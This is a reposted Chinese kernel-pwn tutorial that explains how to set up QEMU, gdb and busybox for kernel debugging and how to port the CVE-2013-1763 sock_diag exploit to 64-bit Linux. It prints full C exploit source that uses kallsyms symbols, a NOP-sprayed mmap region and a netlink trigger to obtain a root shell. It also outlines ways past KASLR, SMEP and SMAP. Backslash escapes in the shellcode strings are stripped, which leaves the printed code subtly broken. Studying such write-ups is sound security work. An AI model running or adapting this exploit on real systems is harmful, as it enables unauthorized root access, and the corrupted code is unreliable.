内容简介:在当前CTF比赛中,kernel pwn类型的题目还是比较少,18年国内大型比赛中,仅强网杯出过几题。然,网上虽资料不少,但涉及内核过程,函数调用链复杂,但看出题思路和复现exp,总觉差那么点意思。而网上这类题又比较少,对初学者很不友好。我决定从调试真实环境内核漏洞来学习内核花样百出的攻击手段,若有不实不详之处,希望各位师傅指点。本文主要分为四个部分,首先说明如何在单机环境下搭建内核调试窗口,其次会讲解cve-2013-1763从32位移植到64位,再讲解让exp可以绕过缓解机制,最后由对内核调试上篇做一个
前言
在当前CTF比赛中,kernel pwn类型的题目还是比较少,18年国内大型比赛中,仅强网杯出过几题。然,网上虽资料不少,但涉及内核过程,函数调用链复杂,但看出题思路和复现exp,总觉差那么点意思。而网上这类题又比较少,对初学者很不友好。我决定从调试真实环境内核漏洞来学习内核花样百出的攻击手段,若有不实不详之处,希望各位师傅指点。
本文主要分为四个部分,首先说明如何在单机环境下搭建内核调试窗口,其次会讲解cve-2013-1763从32位移植到64位,再讲解让exp可以绕过缓解机制,最后由对内核调试上篇做一个总结。可能讲解有些零散,但思路肯定是连贯的。
- 内核调试环境配置
- 移植cve-2013-1763
- 绕过内核缓解机制
- 总结
内核调试环境配置
在单机中调试其他内核,你需要三个组成部件,其一是虚拟化的环境搭建,其二是对应内核版本的二进制库文件,其三是操作系统的启动初始化文件。拥有了这三个部分,你就可以进行比较舒适的调试了。
其一
虚拟化的环境搭建,选择的是qemu这款堪称虚拟化的鼻祖软件,虽然因为连芯片也一起虚拟导致运行速度变慢,但它也结合了真实芯片辅助加速的KVM,支持其他芯片架构的功能,简直就是交叉编译的神器。
。
QEMU(quick emulator)是一款由Fabrice Bellard等人编写的免费的可执行硬件虚拟化的(hardware virtualization)开源托管虚拟机(VMM)。
其与Bochs,PearPC类似,但拥有高速(配合KVM),跨平台的特性。
QEMU是一个托管的虚拟机镜像,它通过动态的二进制转换,模拟CPU,并且提供一组设备模型,使它能够运行多种未修改的客户机OS,可以通过与KVM(kernel-based virtual machine开源加速器)一起使用进而接近本地速度运行虚拟机(接近真实计算机的速度)。
QEMU还可以为user-level的进程执行CPU仿真,进而允许了为一种架构编译的程序在另外一中架构上面运行(借由VMM的形式)。
值得注意的是,qemu对主流的架构和芯片都有不错的模拟性能,不常见的,额,还是焊个板子自己干吧。
Firstly,查看清楚自己想要调试的内核漏洞对应的版本范围,在其中任选一款稳定版本下载就行。 下载地址 在此。要注意的是,其中tar的压缩方式有好多种,下载完如何解压缩,就充当是学习 linux 常用命令。
- *.tar.xz 用 tar -xvf 解压
- .tar.gz和 .tgz 用 tar -xzf 解压
- *.tar.bz2用tar -xjf 解压
Secondly,查找明白解压完毕,将要编译的内核和本身的gcc编译器符不符合。符合,就可以继续下一步;不符合,就要安装旧的gcc编译器。要注意的是,有些版本的gcc发布了,但没有默认安装在linux发行版的默认安装仓库里,所以需要自己去gcc官网下载安装。
- 先看看我们系统用的gcc是什么版本
gcc —version
- 发现编译时gcc版本报错,安装低版本的gcc
sudo apt-get install gcc-4.4 gcc-4.4-multilib
- 不安装g++的原因是因为,linux内核是纯C编写的,版本切换安装
sudo update-alternatives —install /usr/bin/gcc gcc /usr/bin/gcc-4.4 40 sudo update-alternatives —install /usr/bin/gcc gcc /usr/bin/gcc-5 50
- 现在可以进行版本切换了,选择版本输出入第一列的编号
sudo update-alternatives —config gcc
Thirdly,安装好一些额外的依赖库后,就可以进入 menuconfig
中去设置参数。它是个图形界面,有非常好的操作性,比起一个个选项参数在编译时去Yes or No,真是好了很多。
apt-get install libncurses5-dev build-essential kernel-package make menuconfig
配置一下编译参数,注意就是修改下面列出的一些选项
由于我们需要使用gdb调试内核,注意下面这几项一定要配置好
- 在KernelHacking —>
- 选中 Compile the kernel with debug info
- 选中 Compile the kernel with frame pointers
- 选中 KGDB:kernel debugging with remote
- 在Processor type and features—>
- 取消 Paravirtualized guest support
- KernelHacking—>
- 取消 Write protect kernel read-only data structures
当然,因为版本的不同,有些选项不见或者有细微的变化,多查阅资料也能熟练掌握,其次为了观察slab的分配,也有专门的 slab info 参数来选择。
Fourthly,接下来,就是长达二、三个小时的编译,你可以去追追最新的番剧了。
make all
或者
make install
make modules
编译过程中,[M]开头的其实是驱动模块,其实可以分开编译,不过好像速度也没提高多少,还是看最新番剧吧。其中有错误,多半是源码写错或和现在不符,要修补下.c文件。再看不懂报错的,去stackflow上碰碰运气吧。
启动内核还需要一个简单的文件系统和一些启动命令,可以使用 busybox 构建。 busybox 是一个大牛写的精巧文件系统,适合快速编译启动模块。
BusyBox是一个遵循GPL协议、以自由软件形式发行的应用程序。Busybox在单一的可执行文件中提供了精简的Unix工具集,可运行于多款POSIX环境的操作系统,例如Linux(包括Android)、Hurd、FreeBSD等等。由于BusyBox可执行文件的文件大小比较小、并通常使用Linux内核,这使得它非常适合使用于嵌入式系统。作者将BusyBox称为“嵌入式Linux的瑞士军刀”。
Firstly, 下载地址 在此。下载完成后,需要解压和编译。同时在编译前,也要配置编译的一些参数
make menuconfig
- Busybox Settings -> Build Options ->
- 选中 Build Busybox as a static binary
- Uinux System Utilities ->
- 取消 Support mounting NFS file system 网络文件系统
- Networking Utilities ->
- 取消 inetd (Internet超级服务器)
make install
Secondly,需要构建文件系统。编译完成后,在 busybox 源代码的根目录下会有一个 _install 目录下会存放好编译后的文件。而你需要在其中添加一些东西。
cd _install mkdir proc sys dev etc etc/init.d vim etc/init.d/rcS
在启动脚本 rcS 中的代码为:
#!/bin/sh mount -t proc none /proc mount -t sysfs none /sys /sbin/mdev -s
主要挂载了两个文件夹,不过最后一句创建设备节点的速度真心慢,不知道为什么有些比赛题目就启动得非常快。最后别忘了,给它加上执行权限
chmod +x etc/init.d/rcS
最后的 _install 目录下的文件成品:
Thirdly,对于目录下的文件打包成一个镜像文件,每次打包时,都别把上次的镜像文件包进去
find . | cpio -o —format=newc > rootfs.img
为了方便,可以在开启脚本里,编入打包命令,让它每次开启时都可以自动打包。同时,为了提权,总是要创建个低权限用户的 shell 脚本,也编写入 _install 目录中。
编写qemu运行内核的脚本
qemu-system-x86_64 #选择qemu的模式和你编译内核时的环境变量有关 -kernel ./home/.../arch/x86_64/boot/bzImage #内核的二进制库 -initrd ./home/.../rootfs.img #启动的镜像 -append "console=ttyS0 root=/dev/ram rdinit=/sbin/init" #添加的参数,指明控制台,特权,初始路径 -cpu kvm64,+smep #前者是加速器,后者是内核保护模式 --nographic -gdb tcp::1234 #设置为无图形界面,同时和gdb连1234端口,也可以写成 -s
使用gdb进行远程调试
重点终于来了,gdb首先要导入对应内核的二进制库,里面有各种符号表和函数地址的对应关系。其次,还需要在关键的地方断点方便进行调试。那么问题来了,如果像比赛题目那样,有外来驱动模块导入,那么gdb可以断外来驱动上任意函数地址。但如果只是在内核内部运行,没有其他辅助点可以断,那怎么调试exp呢。后来想明白了,exp里肯定会调用这些内核函数,所以环境设置简单点,去除内核随机化,找到有缺陷的函数地址,然后在gdb中给这些地址下断点。
如果要加载驱动的符号文件,先需要在已经运行的内核里去获取驱动模块的基址,它一般在 /proc/modules 里。
gdb -q ./vmlinux target remote:1234 add-symbol-file xxx.ko 0xffffxxx
如果是要找内核内部的函数,可以在 /proc/kallsyms 文件里寻找到,管道操作 grep 大家应该都会的吧。
移植cve-2013-1763
我查阅了一些最近几年的真实linux内核漏洞,它们角度刁钻,原理复杂,竞态多线程跑poc,没个把小时出不了结果。 hackerone 上有人问作者,这poc不对啊,我跑了一小时都没跑出来。作者回复他说,我拿128g的机器跑了10分钟就可以出来了呀。我想想我的小破烂电脑,还不如去追最新的番剧呢。还是找个稍显简单的漏洞来复现,让初学者也能尝到。
漏洞概述
先看看cve官网对这个漏洞的介绍,在内核3.7.10版本及之前的内核都受到这个漏洞的影响。
那为什么一些详解里是3.3~3.8呢,额,因为3.7.10是3.7的最后一个版本,而3.3之前就没引进 sock_diag_rcv_msg 这个函数,所以也就没有利用的框架。
网上关于它的漏洞讲解也有几个版本,而其中的exp都是一个牛人写的32位的提权验证。我因为初来乍到,直接编译了一个64位的内核,一想到再去编译个32位的版本,就不提要修改后缀名为 .bin 这样的麻烦事,至少又是二、三个小时的等待,而我新番都看完了。所以我立刻打算明白原理后,移植它到64位内核上提权,顺便就像做一道kernel pwn的练习题了。
漏洞分析
可以从下图看出多加了 sdiag_family 的检验语句,并且也就修改了这一处,很明显,这是一个关于数组越界的溢出漏洞。
网上的原理讲解的其实满清晰的,主要可能是自己菜,反复读后才发现关键点文中已经指出了。现在,根据我的总结,快速来上手。看三处代码:
static int __sock_diag_rcv_msg(struct sk_buff *skb, struct nlmsghdr *nlh) { int err; struct sock_diag_req *req = NLMSG_DATA(nlh); struct sock_diag_handler *hndl; if (nlmsg_len(nlh) < sizeof(*req))//只判断小,没判断大 return -EINVAL; hndl = sock_diag_lock_handler(req->sdiag_family);//仅仅加锁 if (hndl == NULL)//那它肯定不是NULL喽 err = -ENOENT; else err = hndl->dump(skb, nlh);//exp的突破口 sock_diag_unlock_handler(hndl); return err; }
__sock_diag_rcv_msg 函数位于进程通讯函数链的一员,可以利用netlink协议来创建socket并发送数据触发数组越界的这个断点。从代码中可以看出,dump函数是一个利用的点,具体在后面动态调试中看出。
struct sock_diag_handler { __u8 family;//在64位里,就是8个字节 int (*dump)(struct sk_buff *skb, struct nlmsghdr *nlh);//虽没有源码详解,根据调试,是直接运行第一位地址上的值 };
结构体 sock_diag_handler 也需要查看来明白它定义了什么。
struct nl_pid_hash { struct hlist_head *table; unsigned long rehash_time;//这个值随机在一定范围内,可控 unsigned int mask; unsigned int shift; unsigned int entries; unsigned int max_shift; u32 rnd; }; struct netlink_table { struct nl_pid_hash hash;//上方是结构体的详细介绍 struct hlist_head mc_list; struct listeners __rcu *listeners; unsigned int nl_nonroot; unsigned int groups; struct mutex *cb_mutex; struct module *module; int registered; };
这个结构体,你要问我怎么找出来的,我也回答不上来。只能说是一位六年前就对内核很精通的大牛,他发现在内核进程中, nl_table(struct netlink_table) 和 sock_diag_handlers(struct sock_diag_handler) 的距离很近,而且还是在下方,可以被溢出到。同时,它的 hash(struct nl_pid_hash)—>rehash_time 虽然是个随机值,但是却永远落在一定范围内,可以通过堆风水的方式来利用它。
那么,思路就很明确了,只剩下如何构造数据包和利用链。
修改exp
Firstly,说到netlink消息数据包,我们只需要这个包能经过 __sock_diag_rcv_msg 就行,那么只需要它的请求格式符合结构体:
struct { struct nlmsghdr nlh; struct unix_diag_req r; } req;
查阅资料时,发现请求头必须是 nlmsghdr 结构体,但数据区也可以是 inet_diag_req 或者 inet_diag_req_v2 结构体。
struct unix_diag_req { __u8 sdiag_family; __u8 sdiag_protocol; __u16 pad; __u32 udiag_states; __u32 udiag_ino; __u32 udiag_show; __u32 udiag_cookie[2]; }; struct inet_diag_req { __u8 idiag_family; /* Family of addresses. */ __u8 idiag_src_len; __u8 idiag_dst_len; __u8 idiag_ext; /* Query extended information */ struct inet_diag_sockid id; __u32 idiag_states; /* States to dump */ __u32 idiag_dbs; /* Tables to dump (NI) */ }; struct inet_diag_sockid { __be16 idiag_sport; __be16 idiag_dport; __be32 idiag_src[4]; __be32 idiag_dst[4]; __u32 idiag_if; __u32 idiag_cookie[2]; };
最主要的还是 unix_diag_req 结构最简单,利用起来最方便。
Secondly,需要计算出family的取值到底要多少,不能大也不能小。
在32位里,family = (nl_table – sock_diag_handlers)/4
显然,在64位里,family = (nl_table – sock_diag_handlers)/8
现在的问题是如何获取这两个结构体的具体地址,如果内核设置 kernel.kptr_restrict=0 ,那么我们可以直接从 /proc/kallsyms 里获取,如果禁止,那连 /boot/linux-image-xxx-generic 里也无法获取。
Thirdly,因为32位的exp可以搜到,链接放在文后,所以我就选取一些修改点来分析。
[...] int jump_payload_not_used(void *skb, void *nlh) { asm volatile ( "mov $kernel_code, %eaxn" "call *%eaxn" ); } [...] //填充数据包,就是为了最终能够执行到__sock_diag_rcv_msg中去 memset(&req, 0, sizeof(req)); req.nlh.nlmsg_len = sizeof(req); req.nlh.nlmsg_type = SOCK_DIAG_BY_FAMILY; req.nlh.nlmsg_flags = NLM_F_ROOT|NLM_F_MATCH|NLM_F_REQUEST; req.nlh.nlmsg_seq = 123456; req.r.udiag_states = -1; req.r.udiag_show = UDIAG_SHOW_NAME | UDIAG_SHOW_PEER | UDIAG_SHOW_RQLEN; [...] unsigned long mmap_start, mmap_size; mmap_start = 0x10000; //选择了一块1MB多的内存区域 mmap_size = 0x120000; printf("mmapping at 0x%lx, size = 0x%lxn", mmap_start, mmap_size); if (mmap((void*)mmap_start, mmap_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) == MAP_FAILED) { printf("mmap faultn"); exit(1); } memset((void*)mmap_start, 0x90, mmap_size); //将其全部填充为0x90,在X86系统中对应的是NOP指令 char jump[] = "x55x89xe5xb8x11x11x11x11xffxd0x5dxc3"; // jump_payload in asm unsigned long *asd = &jump[4]; *asd = (unsigned long)kernel_code; //使用kernel_code函数的地址替换掉jump[]中的0x11 memcpy( (void*)mmap_start+mmap_size-sizeof(jump), jump, sizeof(jump)); [...]
大牛的利用思路是,获取 rehash_time 大致取值范围,然后在那块区域布满 nop 指令用于堆喷,再写一个提权子函数后,利用很巧妙的手法,塞进区域的最后,由 call xxx 来成功突破。换言之,32位转变成64位,最重要的就是获取64位下 rehash_time 的范围,就是64位的指令格式和长度不同,还有就是数据类型大小也有所不同。
Fourthly,写出64位下的 jump_payload 汇编语句后,靠 objdump 来编译出机器码,值得注意的是,64位里,你设置的跳转地址不同,机器码也会有所不同。
接下来需要调试出64位里 rehash_time 的位置,这会在下节讲。等到这两点都获取了,那么64位的exp也差不多写成了。
#include<stdio.h> #include <unistd.h> #include <sys/socket.h> #include <linux/netlink.h> #include <netinet/tcp.h> #include <errno.h> #include <linux/if.h> #include <linux/filter.h> #include <string.h> #include <stdlib.h> #include <linux/sock_diag.h> #include <linux/inet_diag.h> #include <linux/unix_diag.h> #include <sys/mman.h> typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred); _commit_creds commit_creds; _prepare_kernel_cred prepare_kernel_cred; unsigned long sock_diag_handlers, nl_table; int __attribute__((regparm(3))) //获取root权限 kernel_code() { commit_creds(prepare_kernel_cred(0)); //return -1; } int jump_payload_not_used(void *skb, void *nlh) { asm volatile ( "mov $kernel_code, %raxn" "call *%raxn" ); } unsigned long get_symbol(char *name) { FILE *f; unsigned long addr; char dummy, sym[512]; int ret = 0; f = fopen("/proc/kallsyms", "r"); if (!f) { return 0; } while (ret != EOF) { ret = fscanf(f, "%p %c %sn", (void **) &addr, &dummy, sym); if (ret == 0) { fscanf(f, "%sn", sym); continue; } if (!strcmp(name, sym)) { printf("[+] resolved symbol %s to %pn", name, (void *) addr); fclose(f); return addr; } } fclose(f); return 0; } int main(int argc, char*argv[]) { int fd; unsigned family; struct { struct nlmsghdr nlh; struct unix_diag_req r; } req; char buf[8192]; if ((fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_SOCK_DIAG)) < 0){ printf("Can't create sock diag socketn"); return -1; } memset(&req, 0, sizeof(req)); req.nlh.nlmsg_len = sizeof(req); req.nlh.nlmsg_type = SOCK_DIAG_BY_FAMILY; req.nlh.nlmsg_flags = NLM_F_ROOT|NLM_F_MATCH|NLM_F_REQUEST; req.nlh.nlmsg_seq = 123456; //req.r.sdiag_family = 99; req.r.udiag_states = -1; req.r.udiag_show = UDIAG_SHOW_NAME | UDIAG_SHOW_PEER | UDIAG_SHOW_RQLEN; commit_creds = (_commit_creds) get_symbol("commit_creds"); prepare_kernel_cred = (_prepare_kernel_cred) get_symbol("prepare_kernel_cred"); sock_diag_handlers = get_symbol("sock_diag_handlers"); nl_table = get_symbol("nl_table"); if(!prepare_kernel_cred || !commit_creds || !sock_diag_handlers || !nl_table){ printf("some symbols are not available!n"); exit(1); } family = (nl_table - sock_diag_handlers) / 8; printf("family=%dn",family); if(family>255){ printf("nl_table is too far!n"); exit(1); } req.r.sdiag_family = family; unsigned long mmap_start, mmap_size; mmap_start = 0xfffd0000; mmap_size = 0x20000; printf("mmapping at 0x%lx, size = 0x%lxn", mmap_start, mmap_size); if (mmap((void*)mmap_start, mmap_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) == MAP_FAILED) { printf("mmap faultn"); exit(1); } memset((void*)mmap_start, 0x90, mmap_size); //将申请的内存区域全部填充为nop char jump[] = "x55x48x89xe5x48xb8x11x11x11x11x11x11x11x11xffxd0x5dxc3"; // jump_payload in asm unsigned long *asd =(unsigned long *)&jump[6]; //将x11全部替换成kernel_code *asd = (unsigned long)kernel_code; printf("[+] kernel_code: %pn",(void *) kernel_code); //把jump_payload放进mmap的内存的最后 memcpy( (void*)mmap_start+mmap_size-sizeof(jump), jump, sizeof(jump)); send(fd, &req, sizeof(req), 0); //发送socket触发漏洞 printf("uid=%d, euid=%dn",getuid(), geteuid() ); system("/bin/sh"); }
调试过程
首先,要下内核断点,这里选取的是 __sock_diag_rcv_msg 函数,它离调用点很近。
其次,查看结构体 netlink_table 的子结构体 nl_pid_hash 的子成员 rehash_time 的值。多次调试可以知道取值范围。
然后,查看(dump )函数的汇编代码流程,查看正常和溢出时不一样的变化。
可以看出,正常rax已经为零,不再去执行(dump )函数,而伪造的继续执行。
接着,查看shellcode流的走向。
最后,成功提权,拿到了root权限,虽然这是在毫无内核保护机制之下。
简单绕过
内核最常见的是内核地址随机化保护( kaslr ),但是查看exp流程,你会发现,基本没有需要突破 kaslr 的地方,因为地址已经被泄露出来了。那么,如果 kernel.kptr_restrict=1 的时候,地址被封禁,也就是没办法去调用符号的地址。这个时候也不可以查看 dmesg 日志里的报错信息,因为进程间通信错误会使内核这一板块失效,之后再去运行时就会卡死。
但我们也不是没有办法,根据反复调试,每个linux版本里这两个结构体的相对位置大致不变。可以编写自动化脚本,给一个固定的值,反复重启爆破出某次正好凑齐的值。
之后还有 smep 、 smap 的内核禁止执行用户空间代码的保护,绕过这种保护,一般使用 rop 来突破,就像一般pwn题用它来绕过 NX 一样。但是,这内核空间里没有可以直接利用的栈空间,连一句 rop 也无法执行。比较少见的方式是去修改使内核误以为用户空间页是内核空间页。两者详细利用,我都会在下篇里进行讲述,下篇也会调试几个最近有关虚拟页表的内核cve漏洞。
上篇总结
内核调试总是要走很多弯路,幸好很多坑前辈已经帮你踩过,你也在常规的pwn题里跌倒过,最后上手总是快些。但是密密麻麻的函数流程,比 python 难上手的linux下的C编程,总是令人恐惧。这是无可奈何的事,田园时代已过,未来只会更加凶险。你能做到就是盯着它看,代码烂熟于心,就算找不到漏洞,那至少也是一名内核工程师了。
上篇主要还是讲了讲调试内核的入门,分析的漏洞也是一个较为明显的越界,也怪我懒散,拖拖拉拉到现在才写完。那我们就在猴年马月的下篇再见了。
参考资料
(1). https://bbs.pediy.com/thread-178397.htm
(2). https://www.cnblogs.com/ck1020/p/7118236.html
(3). http://m4x.fun/post/linux-kernel-pwn-abc-1/#get-root-shell
以上所述就是小编给大家介绍的《新手向———内核调试(上)》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
猜你喜欢:- 内核必须懂(六): 使用kgdb调试内核
- 用VirtualBox调试macOS内核
- 源码级调试的XNU内核
- Linux内核使用gdb调试
- Linux内核常用的动态调试手段
- 本地内核调试神器:livekd 使用总结
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。